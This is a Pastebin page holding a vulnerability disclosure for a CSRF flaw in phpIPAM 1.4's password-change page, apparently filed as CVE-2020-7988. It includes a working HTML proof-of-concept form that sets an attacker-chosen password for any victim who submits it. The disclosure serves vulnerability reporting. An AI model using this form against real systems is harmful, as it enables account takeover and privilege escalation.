Public Pastes (/archive)

fuck you AD discord and your stupid rules (/jDZ6c0V2)
JavaScript | 20 min ago | 0.87 KB

Audio Sampling I2S (/vhjpsKAP)
Arduino | 27 min ago | 0.37 KB

Untitled (/DgMcd7Xn)
C++ | 30 min ago | 1.06 KB

wie (/Hfkgujfb)
C++ | 56 min ago | 7.08 KB

1. Cinema (If Construction) (/nERTZifb)
C# | 1 hour ago | 1.04 KB

1. Cinema (Switch Construction) (/52sYEBPf)
C# | 1 hour ago | 1.09 KB

Custom Popover NavLink (/RsdqZCDQ)
Swift | 1 hour ago | 1.66 KB

UI Library (/3ehQuTT6)
Lua | 2 hours ago | 15.77 KB

Untitled

A GUEST MAR 4TH, 2020 4,235 0 NEVER ADD COMMENT (/LOGIN?RETURN_URL=%2FZPECBGZB%23ADD_COMMENT) SHARE TWEET

text (/archive/text) 2.00 KB | None | raw (/raw/ZPECbgZb) download (/dl/ZPECbgZb) clone (/clone/ZPECbgZb)
0 (/login?return_url=%2FZPECbgZb) embed (/embed/ZPECbgZb) print (/print/ZPECbgZb) report (/report/ZPECbgZb)
0 (/login?return_url=%2FZPECbgZb)

```

> [Suggested description]
> An issue was discovered in tools/pass-change/result.php in phpIPAM 1.4.
> CSRF can be used to change the password of any user/admin, to
> escalate privileges, and to gain access to more data and functionality. This issue exists
> due to the lack of a requirement to provide the old password, and the lack of security
> tokens.
>
> ------------------------------------------
>
> [Additional Information]
> I've sent to the vendor with the vulnerability details but haven't received any reply yet.
>
> CSRF POC:
>
> <html>
>   <body>
>   <script>history.pushState('', '', '/')</script>
>     <form action="http://hostname/app/tools/pass-change/result.php" method="POST">
>       <input type="hidden" name="ipampassword1" value="attackers_password" />
>       <input type="hidden" name="ipampassword2" value="attackers_password" />
>       <input type="submit" value="Submit request" />
>     </form>
>   </body>
> </html>
>
> ------------------------------------------
>
> [Vulnerability Type]
> Cross Site Request Forgery (CSRF)
>
> ------------------------------------------
>
> [Vendor of Product]
> phpIPAM
>
> ------------------------------------------
>
> [Affected Product Code Base]
> phpIPAM - 1.4
>
> ------------------------------------------
>
> [Affected Component]
> result.php
>
> ------------------------------------------
>
> [Attack Type]
> Remote
>
> ------------------------------------------
>
> [Impact Escalation of Privileges]
> true
>
> ------------------------------------------
>
> [CVE Impact Other]
> Account Takeover
>
```

```
> -----------------------------------------
>
> [Attack Vectors]
> Crafting a post request in a button with the new password and luring the victim to click it.
>
> -----------------------------------------
>
> [Reference]
> https://phpipam.net/news/phpipam-v1-5-released/
>
> -----------------------------------------
>
> [Discoverer]
> Khalid Amin https://hackerone.com/khalidamin

CVE-2020-7988.
```

Add Comment

Please, **Sign In** (/login?return_url=%2FZPECbgZb%23add_comment) to add comment

(/tools#pastebincl)

create new paste (/) / syntax languages (/languages) / archive (/archive) / faq (/faq) / tools (/tools) / night mode (/night_mode) / api (/doc_api) / scraping api (/doc_scraping_api) / news (/news) / pro (/pro) privacy statement (/doc_privacy_statement) / cookies policy (/doc_cookies_policy) / terms of service (/doc_terms_of_service)updated / security disclosure (/doc_security_disclosure) / dmca (/dmca) / report abuse (/report-abuse) / contact (/contact)

By using Pastebin.com you agree to our cookies policy (/doc_cookies_policy) to enhance your experience.
Site design & logo © 2022 Pastebin